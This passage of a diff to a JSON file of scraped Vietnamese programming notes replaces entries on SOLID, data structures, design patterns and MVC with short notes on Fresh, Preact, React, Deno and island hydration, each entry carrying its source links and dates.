thuộc nhau như vậy không thể được xây dựng song song. Class cấp thấp phải xây dựng trước. Đây là cách thức làm việc rất quen thuộc khi học lập trình hướng đối tượng.\n\nSự phụ thuộc này cũng có hệ quả xấu. Khi class cấp thấp thay đổi có thể dẫn đến thay đổi class cấp cao. Khi thay thế class cấp thấp sẽ phải sửa code của class cấp cao.\n\n### Nguyên lý DIP\n\nNguyên lý Dependency Inversion có hai ý:\n\n1. các class cấp cao không nên phụ thuộc vào các class cấp thấp. Thay vào đó, nên cho cả hai cùng phụ thuộc vào “cái trừu tượng” (abstraction) thứ ba.\n2. “cái trừu tượng” không nên phụ thuộc vào những cái cụ thể mà nên theo chiều ngược lại, nghĩa là những cái cụ thể phải phụ thuộc vào “cái trừu tượng”.\n\nNghe rất lằng nhằng khó tiêu phải không ạ! Cả hai anh này đều đảo ngược cách suy nghĩ quen thuộc của chúng ta khi học lập trình hướng đối tượng. Chúng ta sẽ giải thích kỹ hơn qua ví dụ vận dụng dưới đây.\n\n#### * các class cấp cao không nên phụ thuộc vào các class cấp thấp\n\nVẫn tiếp tục với ví dụ class B phụ thuộc class A ở trên. Giờ chúng ta định nghĩa một interface mới, tạm đặt tên là IA, và cho A thực thi IA. Trong code của B giờ chỉ gọi đến IA mà không gọi đến A nữa. Như vậy B không còn phụ thuộc vào A mà quay sang phụ thuộc IA. B và A đã độc lập với nhau. Interface IA chính là “cái trừu tượng”, là kẻ thứ ba giúp B tránh phụ thuộc vào A; B và A là những “cái cụ thể”. Thay vì sử dụng interface, chúng ta cũng có thể sử dụng lớp trừu tượng (abstraction class) theo cách tương tự.\n\nBản chất của giải pháp này nằm ở chỗ, B và A bây giờ đưa ra một bản hợp đồng về những phương thức hay thuộc tính mà A cần phải thực hiện. B thì chỉ cần nhắm mắt sử dụng hợp đồng này (qua biến thuộc kiểu IA) mà không cần quan tâm A làm như thế nào. Cái này cũng giống như khi bạn đi mua bóng đèn trong ví dụ ở phần nguyên lý Interface Segregation ở trên. Người ta gọi quan hệ giữa B và A theo kiểu này là quan hệ qua giao diện, là một loại quan hệ gián tiếp, để phân biệt với kiểu quan hệ trực tiếp thông thường.\n\nYêu cầu thứ nhất này đảo ngược cách chúng ta cho các class tương tác so với khi học OOP.\n\n#### * “cái trừu tượng” không nên phụ thuộc vào những “cái cụ thể”\n\nVẫn ví dụ A, B và IA ở trên. Theo nguyên lý này, khi thiết kế (ví dụ, sơ đồ class) chúng ta phải định nghĩa IA (cái trừu tượng) trước hết. IA xác định tương tác giữa A và B trong tương lai. B và A (cái cụ thể) được xây dựng sau.\n\nĐiều này có nghĩa là bản thân tương tác giữa các class phải được xem xét là một phần độc lập. Các class cụ thể sau đó mới xây dựng dựa trên tương tác này. Tương tác này được xây dựng dưới dạng interface hoặc abstract class.\n\nYêu cầu thứ hai này đảo ngược cách thức xây dựng class quen thuộc khi học OOP.\n\n### Vận dụng\n\nỞ đây phát sinh một vấn đề. Do IA chỉ là một interface (hoặc lớp abstract), vậy object của A sẽ được tạo ở đâu? Vì nếu không tạo ra object của A thì ở giai đoạn runtime chắc chắn sẽ bị lỗi (dĩ nhiên rồi, làm gì có object thực sự mà chạy!). Có vài giải pháp khác nhau.\n\nCách thứ nhất là tạo ra thêm một class C chịu trách nhiệm khởi tạo cả B và A, đồng thời gán A cho IA (nằm trong B). Cách thứ hai là sử dụng kỹ thuật Dependency Injection với một IoC container (như Unity hay Ninject). Cách thứ ba là sử dụng một số kỹ thuật lập trình đặc biệt của ngôn ngữ, ví dụ trong .NET framework có thể sử dụng kỹ thuật lập trình Reflection. Cách thứ tư là sử dụng một vài mẫu thiết kế (design pattern) đặc biệt cho mục đích này như mẫu factory.\n\nNguyên lý này đòi hỏi bạn phải phân tích rất kỹ bài toán để xác định rõ tất cả các class sẽ xây dựng, vai trò và sự tương tác giữa chúng (có những anh nào, làm gì, và anh nào sử dụng anh nào). Từ đó áp dụng nguyên lý DI này để giúp phát triển đồng thời các class.\n\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\n", + "Toàn bộ nội dung": "One important thing to remember: **Preact is just a rendering library and only concerns itself with getting stuff on the screen as fast as possible.**\r\n\r\nThe consequences of this are:\r\n\r\n- Preact doesn't do routing or any of those other concerns an app typically needs\r\n- Preact has no idea of a server and has no concept of how to pass data from the server to the client\r\n\r\nThat's where Fresh comes in:\r\n\r\n- The export default from a route file tells Fresh's file based router that this is a route that you want to use. Then when you go to a route, Fresh basically calls Preact's render() function to render the HTML, so you don't need to do that yourself when working in Fresh\r\n- Fresh introduces the notion of Server and a Client that Preact isn't aware of\r\n\r\nWhat Fresh gives you compared to using Preact alone is:\r\n\r\n- routing automatic\r\n- bundling of islands and the machinery to make them interactive on page load (remember Preact is just a JS lib not a build tool)\r\n- a serialization layer that supports preact signals to transfer island props to the browser\r\n- an API layer\r\n- dev stuff like reloading the page when a component changes\r\n- a server in general\r\n\r\nAll in all Fresh is a somewhat minimal wrapper around Preact. It's a similar relationship as Next.js has with React.\r\n\r\nNguồn:: [fresh/docs/latest/concepts/jsx-and-preact.md at ddff9a6324be4d35dd6065f3503c5d5b42a1b574 · denoland/fresh · GitHub](https://github.com/denoland/fresh/blob/ddff9a6324be4d35dd6065f3503c5d5b42a1b574/docs/latest/concepts/jsx-and-preact.md)\r\n\r\n[[Render là quá trình chuyển đổi dữ liệu và code sang HTML]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-02T08:03:00.000Z", - "id": "Vl" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZT" }, { - "Tiêu đề": "Mảng các vật thể và mảng các mảng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Cấu trúc dữ liệu/Mảng các vật thể và mảng các mảng", + "Tiêu đề": "React nên được alias thành preact/compat", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/React nên được alias thành preact-compat", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "<sub>(This question is a continuation of [my previous question](https://softwareengineering.stackexchange.com/q/446480/192731))</sub>\r\n\r\nI notice that there are various ways to structure data:\r\n- Array of individual arrays\r\n- Array of dimensional arrays\r\n- Array of individual objects\r\n- Object of individual objects\r\n- Object of individual arrays\r\n- Array of individual objects of one array\r\n\r\n```js\r\narray_of_individual_arrays = [\r\n ['John Doe', 20, 60, 'A'],\r\n ['Jane Doe', 10, 52, 'B'],\r\n ['Petr Chess', 5, 24, 'F'],\r\n ['Ling Jess', 28, 43, 'A'],\r\n ['Ben Liard', 16, 51, 'B']\r\n];\r\n\r\narray_of_dimensional_arrays = [\r\n [ 'John Doe', 'Jane Doe', 'Petr Chess', 'Ling Jess', 'Ben Liard' ],\r\n [ 20 , 10 , 5 , 28 , 16 ],\r\n [ 60 , 52 , 24 , 43 , 51 ],\r\n [ 'A' , 'B' , 'F' , 'A' , B ]\r\n] \r\n\r\narray_of_individual_objects = [\r\n {\r\n 'name': 'John Doe',\r\n 'score1': '20',\r\n 'score2': '60'\r\n },\r\n {\r\n 'name': 'Jane Doe',\r\n 'score1': '10',\r\n 'score2': '52'\r\n }\r\n]\r\n\r\nobject_of_individual_objects = {\r\n 'John Doe': {\r\n 'score1': '20',\r\n 'score2': '60'\r\n },\r\n 'Jane Doe': {\r\n 'score1': '10',\r\n 'score2': '52'\r\n }\r\n}\r\n\r\nobject_of_individual_arrays = {\r\n 'John Doe': [20, 60, 'A'],\r\n 'Jane Doe': [10, 52, 'B'],\r\n 'Petr Chess': [5, 24, 'F'],\r\n 'Ling Jess': [28, 43, 'A'],\r\n 'Ben Liard': [16, 51, 'B']\r\n}\r\n\r\narray_of_individual_objects_of_one_array = [\r\n {'John Doe': [20, 60, 'A']},\r\n {'Jane Doe': [10, 52, 'B']},\r\n {'Petr Chess': [5, 24, 'F']},\r\n {'Ling Jess': [28, 43, 'A']},\r\n {'Ben Liard': [16, 51, 'B']}\r\n]\r\n```\r\n\r\nThis is my comparison:\r\n\r\n| Criteria | Array of individual arrays | Array of dimensional arrays | Array of individual objects | Object of individual objects | Object of individual arrays | Array of individual objects of one array |\r\n| --------------------------------------------------- | -------------------------- | --------------------------- | --------------------------- | ---------------------------- | --------------------------- | ---------------------------------------- |\r\n| Comprehend and manually input | OK | OK | Good | Good | OK | Good |\r\n| Compute a whole dimension | Bad | Good | Bad | Bad | Bad | Bad |\r\n| Iterate one dimension then compute other dimensions | Bad | Good | Bad | Bad | Bad | Bad |\r\n| Filter, add or remove a single record | Good | OK | Good | Good | Good | OK |\r\n| Manually navigate to a single value | OK | OK | OK | Good | Good | OK |\r\n\r\nI would like to look for existing comprehensive studies about this. For example:\r\n- What design patterns use these?\r\n- What other criteria that I miss?\r\n- Which domains they are typically used?\r\n- Is there any collection of data structure conversions between them? (Like [this article](https://medium.com/programming-essentials/how-to-convert-between-data-structures-in-javascript-8f7cbde64722 'How to Convert Between Data Structures in JavaScript | by Cristian Salcescu | Frontend Essentials | Medium'), but it limits on simple structures) \r\n\r\nOr if you want you can answer it here as well.\r\n\r\nI'm mostly use JS and Python, if that matters.\r\n", + "Toàn bộ nội dung": "Nguồn:: [Issues with radix-ui · Issue #1530 · denoland/fresh · GitHub](https://github.com/denoland/fresh/issues/1530)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vm" + "id": "ZU" }, { - "Tiêu đề": "Mặc dù mảng lưu giữ thứ tự, nhưng nhiều khi ta không quan tâm đến thứ tự đó cho lắm", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Cấu trúc dữ liệu/Mặc dù mảng lưu giữ thứ tự, nhưng nhiều khi ta không quan tâm đến thứ tự đó cho lắm", + "Tiêu đề": "React được sinh ra để làm việc với trạng thái", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/React được sinh ra để làm việc với trạng thái", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Along with all the above technical differences, I think there is a fundamental difference in the purpose and meaning of an Object and an Array.\r\n\r\n1. The properties of an object **DESCRIBE/DEFINE** the object whereas\r\n2. The elements of an array do **NOT DESCRIBE/DEFINE** the array, on the contrary the array defines what it's contents are. Do note - I am not talking about technical aspects. You can have any combinations technically but semantically each has its own purpose.\r\n\r\n- For example a card holder. Each card does **NOT DESCRIBE/DEFINE** the card-holder. But the card holder does define it's purpose - that it holds only cards.\r\n \r\n- An Object is used to represent an entity and its properties **DESCRIBE/DEFINE** the entity. Take the same example of a Card. A card has properties like color, number which **DESCRIBE/DEFINE** what the card is.\r\n \r\n\r\nFor your above example:\r\n\r\n1. Each object which represents a person **is defined by the properties** `id`, `firstName` and `lastName`.\r\n \r\n2. A list of these persons cannot be an object of objects because **each id does not describe the object of objects**. So\r\n \r\n\r\n```javascript\r\n\"users\":[\r\n {\r\n \"id\":\"id\",\r\n \"key2\":\"value2\",\r\n \"key3\":\"value3\"\r\n },\r\n {\r\n \"id\":\"id\",\r\n \"key2\":\"value2\",\r\n \"key3\":\"value3\"\r\n }\r\n]\r\n```\r\n\r\nis a better representation than\r\n\r\n```javascript\r\n\"users\": {\r\n \"id1\": {\r\n \"id\": \"id1\",\r\n \"firstname\": \"firstname1\",\r\n \"lastname\": \"lastname1\"\r\n },\r\n \"id2\": {\r\n \"id\": \"id2\",\r\n \"firstaame\": \"firstname2\",\r\n \"lastname\": \"lastname2\"\r\n }\r\n}\r\n```\r\n\r\neven though technically you can use either. I hope I was able to convey(put into words) my thinking in the right manner.\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [Array of objects vs Object of Objects](https://stackoverflow.com/a/53216882/3416774)\r\n\r\n", + "Toàn bộ nội dung": "Với JS, ta phải chỉ cho nó biết nên rẽ chỗ nào, rẽ như thế nào, v.v. Nó không biết mình muốn đi tới đâu, tất cả những gì nó có thể làm là nghe lệnh của bạn\r\n![](https://react.dev/images/docs/illustrations/i_imperative-ui-programming.png) \r\n\r\nVới React, ta chỉ cần nói địa điểm.\r\n![](https://react.dev/images/docs/illustrations/i_declarative-ui-programming.png) \r\n\r\nCác trạng thái ví dụ của một app:\r\n![](https://react.dev/_next/image?url=%2Fimages%2Fdocs%2Fdiagrams%2Fresponding_to_input_flow.png&w=1920&q=75) \r\n\r\nNguồn:: [Reacting to Input with State – React](https://react.dev/learn/reacting-to-input-with-state)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vn" + "id": "ZV" }, { - "Tiêu đề": "Mẫu thiết kế (design pattern) là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Mẫu thiết kế (design pattern) là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", + "Tiêu đề": "Vì Node, Deno viết trên V8 chứ không phải Gecko, nên chỉ có Chrome mới debug được chứ Firefox thì không", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Vì Node, Deno viết trên V8 chứ không phải Gecko, nên chỉ có Chrome mới debug được chứ Firefox thì không", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Nhập môn Design Pattern siêu tốc trong 10 phút - YouTube](https://youtu.be/eiWnblyjw58)\r\nNguồn:: [Hướng dẫn tự học Design Pattern trong C# | Tự học ICT](https://tuhocict.com/huong-dan-tu-hoc-design-pattern-trong-c/)\r\n**Tại sao phải biết Design Patterns?**\r\n\r\nNhư Kiên đã đề cập ở trên, **design patterns** **được đúc kết bằng kinh nghiệm và là cách giải quyết chung cho các vấn đề trong thiết kế phần mềm**. Chính vì vậy nếu chúng ta hiểu rõ design patterns thì khi chúng ta đối mặt một tình huống hay một vấn đề nào đó, chúng ta có thể áp dụng design patterns và **vấn đề có thể được giải quyết một cách nhanh chóng và hiệu quả nhất**.\r\n\r\nNgoài ra, nếu chúng ta áp dụng tốt design patterns, nó sẽ giúp **giải pháp của chúng ta dễ hiểu, dễ trình bày, hệ thống của chúng ta linh hoạt, dễ bảo trì, dễ test hơn**.\r\n\r\nĐối với bản thân các developer, việc hiểu rõ design patterns sẽ giúp **năng suất làm việc cải thiện, giá trị bản thân ngày càng tăng**, **đóng vai trò then chốt (key member)** trong các dự án mà mình tham gia, đó cũng là **đảm bảo cho quyền lợi, lợi ích của chúng ta** sau này.\r\n\r\nNgoài ra chúng ta cũng biết ngành lập trình là ngành có mức độ phát triển, thay đổi khá nhanh, các công nghệ, ngôn ngữ, thư viện...cập nhật liên tục cũng sẽ khiến chúng ta phải liên tục cập nhật theo. Nhưng luôn có những giá trị cốt lõi trong bất kì ngành nghề nào, và **OOP và design patterns chính là một trong các giá trị cốt lỗi trong lập trình**, nó sẽ giúp bạn vững vàng và mạnh mẽ hơn trong thời đại công nghệ này.\r\n\r\n**Vậy ai là người nên biết về Design Patterns?**\r\n\r\nDesign patterns được sử dụng rất rộng rãi trong thiết kế phần mềm, **đôi khi chúng ta đã thật sự biết đến nó và áp dụng nó vào các dự án, vào code của mình mà không nhận ra**, vì đôi khi đó là những design pattern rất đơn giản. Chính vì vậy, việc có cái nhìn tổng quát lại design patterns vô cùng bổ ích cho chúng ta - những developer.\r\n\r\nNgoài ra, trong thiết kế phần mềm nói chung và phát triển dự án nói riêng, việc tìm giải pháp và áp dụng design patterns thường được giao cho các key member, các senior developer. Do đó ngoài các senior developers cần củng cố kiến thức về design pattern, mà các junior developers, thậm chí là các bạn sinh viên, thực tập thì sự hiểu biết về design patterns là rất quan trọng và cần thiết để đóng vai trò quan trọng trong các dự án hay tổ chức mà mình tham gia.\r\nNguồn:: [Kiên's Blog - Góc .NET: Design Patterns trong các dự án thực tế - Design Patterns là gì?](https://kienchu.blogspot.com/2016/06/hoc-design-pattern-qua-cac-vi-du-thuc-te.html)\r\n", + "Toàn bộ nội dung": "Ryan, tác giả của Node, đã viết ra Deno. Vì Node viết trên V8, nên anh tất nhiên rành V8 hơn Gecko. Để có thể làm Deno, thì công ty tạo ra Deno cần sống được trước. Nên việc đặt cược vào Gecko sẽ làm sự tồn tại của Deno gặp rủi ro hơn.\r\n\r\n[[Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node]]\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/1193739165834154044/1193915242216955976)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vo" + "id": "ZW" }, { - "Tiêu đề": "Nguyên lý", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Nguyên lý", + "Tiêu đề": "Ở Preact, onInput sẽ kích hoạt ngay trong lúc nhập, còn onChange chỉ kích hoạt khi người dùng đổi focus", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Ở Preact, onInput sẽ kích hoạt ngay trong lúc nhập, còn onChange chỉ kích hoạt khi người dùng đổi focus", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[3]\r\n```", + "Toàn bộ nội dung": "Nguồn:: [Differences to React – Preact Guide](https://preactjs.com/guide/v10/differences-to-react/#use-oninput-instead-of-onchange)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-01T15:58:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vp" + "id": "ZX" }, { - "Tiêu đề": "Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", + "Tiêu đề": "Component nằm trong thư mục island sẽ được render lần đầu ở server, còn những lần sau đều ở client", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Component nằm trong thư mục island sẽ được render lần đầu ở server, còn những lần sau đều ở client", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Cơ chế này giống Astro\r\n[[Những hàm được export default và được viết hoa ký tự đầu tiên là component]]. [[Component là những hàm hoặc lớp trả về một khối JSX]]. [[Island là những component ở trong thư mục islands]]\r\nNguồn:: [Interactive islands | Fresh docs](https://fresh.deno.dev/docs/concepts/islands)\r\nhttps://discord.com/channels/684898665143206084/991511118524715139/1201392026655141949", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-02T08:03:00.000Z", - "id": "Vq" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZY" }, { - "Tiêu đề": "Stable = the APIs are not expected to change in a breaking way. Production ready = supports its intended usecases and doesn't contain major bugs.", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Stable = the APIs are not expected to change in a breaking way. Production ready = supports its intended usecases and doesn't contain major bugs.", + "Tiêu đề": "Các hàm được môi trường thực thi cung cấp không hoạt động được ở island", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Các hàm được môi trường thực thi cung cấp không hoạt động được ở island", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [What's the deal with std lib? : r/Deno](https://www.reddit.com/r/Deno/comments/1c2fe4j/comment/kzbe82u/?context=3)", + "Toàn bộ nội dung": "[[Những hàm của môi trường thực thi không chạy được trên trình duyệt]]. Trình duyệt không biết gì về Deno, Node, v.v. Muốn dùng các hàm do các môi trường thực thi này cung cấp thì phải chạy trên server chứ không chạy trên client được\r\n[[Route là code viết cho server. Island là code viết cho client]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vr" + "Ngày cập nhật": "2024-08-24T05:28:00.000Z", + "id": "ZZ" }, { - "Tiêu đề": "Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Thành phần chương trình/Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Chúng có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", + "Tiêu đề": "Island là những component ở trong thư mục islands", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Island là những component ở trong thư mục islands", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Không phân biệt giữa giao diện – logic – dữ liệu\r\n\r\nỞ trên có nói tới việc bạn thường xuyên nhồi nhét đủ mọi loại code vào file code-behind của form. Nếu bạn phân biệt được rạch ròi các thành phần chính của ứng dụng thì có thể mọi thứ sẽ khác.\r\n\r\nNhìn một cách chung nhất, mỗi ứng dụng thường phân biệt rõ 3 thành phần cơ bản: giao diện người dùng, logic, dữ liệu. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Do đó, không thể trộn lẫn lộn với nhau được.\r\n\r\nGiao diện người dùng được tạo ra bởi Form và các điều khiển bạn đặt trên nó. Nhiệm vụ của nó là giúp người dùng nhập dữ liệu, và hiển thị dữ liệu (đã xử lý) trở lại cho người dùng.\r\n\r\nLogic là các quy tắc chi phối việc xử lý dữ liệu. Anh này thường âm thầm đứng sau chứ ít khi lộ diện và do đó ít khi được để ý tới. Ví dụ, khi người dùng cần một danh sách email sắp xếp theo thứ tự abc. Anh logic phải làm việc này. Còn anh giao diện chỉ làm nhiệm vụ hiển thị nó ra.\r\n\r\nDữ liệu là thứ trung tâm, cả anh giao diện và logic đều phải làm việc với anh dữ liệu. Tuy nhiên, anh dữ liệu cũng đòi hỏi có nhà riêng cho nó ở. Đó là file dữ liệu, hoặc một cơ sở dữ liệu. Khi cần, dữ liệu sẽ rời nhà đến làm việc với logic và giao diện. Xong việc, dữ liệu sẽ quay về nhà ở.\r\n\r\nNhư vậy, nếu phân biệt rõ ba anh này, bạn chắc chắn sẽ thấy chúng nó không thể ở chung với nhau được. Mỗi anh cần không gian riêng cho mình.\r\n\r\n\r\nNguồn:: [[tuhocict]], [Bộ giải pháp dễ học cho lập trình winform giúp bạn làm đề tài | Tự học ICT](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/)\r\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vs" + "id": "Za" }, { - "Tiêu đề": "Model không biết đến View, View không biết đến Controller", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Thành phần chương trình/Model không biết đến View, View không biết đến Controller", + "Tiêu đề": "Island với partial hydration là một", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Island với partial hydration là một", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Mô hình MVC\n\nĐây là một mẫu kiến trúc (architechtural pattern) ra đời sớm nhất. MVC không được quá “trọng dụng” cho đến thời kỳ ứng dụng web “lên ngôi”. Hiện nay, MVC là mẫu kiến trúc phổ biến nhất (nếu không muốn nói là độc tôn) trong phát triển ứng dụng web.\n\nMô hình này dựa trên việc phân chia code của ứng dụng (nói chung, về thành phần giao diện) thành ba phần: Model, View, Controller. Model là nơi lưu trữ dữ liệu; View là nơi hiển thị dữ liệu của Model; Controller tiếp nhận yêu cầu từ client, ghép nối Model với View, thực hiện các xử lý cần thiết.\n\nĐiểm đặc thù của MVC ở chỗ, Model là thành phần độc lập nhất, luôn được xây dựng đầu tiên trong ứng dụng và chi phối hầu hết các thành phần khác. View được xây dựng tiếp theo nhằm hiển thị thông tin của Model cho người dùng. Controller xây dựng sau cùng để xử lý yêu cầu của người dùng và ghép nối View với Model. Trong hệ thống đó, Model không biết đến View, View không biết đến Controller.\n\n![Tương tác giữa các thành phần trong mô hình MVC](https://tuhocict.com/wp-content/uploads/2019/04/mvc-model.png)\n\n_Tương tác giữa các thành phần trong mô hình MVC_\n\nĐể đảm bảo hoạt động theo mô hình như vậy, trong mô hình MVC thường phải xây dựng thêm một thành phần gọi là Router để đảm bảo trao đổi thông tin từ View đến Controller, cũng như đảm bảo việc tiếp nhận truy vấn từ người dùng của Controller.\n\nTrong mô hình này hoàn toàn có thể áp dụng đầy đủ các nguyên lý SOLID, mẫu Repository (cho quản lý dữ liệu), các mẫu thiết kế (ví dụ, singleton hoặc mediator cho Router), sử dụng kỹ thuật tạo loosely-coupling cho Repository (để dễ dàng thay đổi thành phần truy xuất dữ liệu).\n\nNguồn:: [[tuhocict]], [Console MVC Library cho .NET (1): giới thiệu chung | Tự học ICT](https://tuhocict.com/net-console-mvc-library-1/)\n", + "Toàn bộ nội dung": "Nguồn:: ![a fresh new web framework is out - YouTube](https://youtu.be/4boXExbbGCk?si=uZV1PldtAQHlmIBf&t=89)\r\nTác giả của Preact là người tạo ra khái niệm island", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-02T08:11:00.000Z", - "id": "Vt" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Zb" }, { - "Tiêu đề": "Block comment dành cho việc giải thích ý tưởng của code, viết doc. Line comment để debug hoặc hướng dẫn editor đọc code của mình (directive)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Block comment dành cho việc giải thích ý tưởng của code, viết doc. Line comment để debug hoặc hướng dẫn editor đọc code của mình (directive)", + "Tiêu đề": "Khi một vật thể được đổ dữ liệu vào, nó được gọi là được tưới nước", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Khi một vật thể được đổ dữ liệu vào, nó được gọi là được tưới nước", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong VS Code, dùng `/**` rồi <kbd>Enter</kbd> thay vì chỉ `/*`\r\n![VS Code tips — Quickly writing JSDoc comments in JavaScript and TypeScript - YouTube](https://youtu.be/-gaLriaslpg?si=LkZjZrY6DgcI1BIp)", + "Toàn bộ nội dung": "Nguồn:: ![WTF is hydration? - YouTube](https://youtu.be/fypmxYZGrfA?si=_8hYDFQppxy05-Q0)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vu" + "id": "Zc" }, { - "Tiêu đề": "Bản thân việc lập trình bằng ngôn ngữ bậc cao đã là một 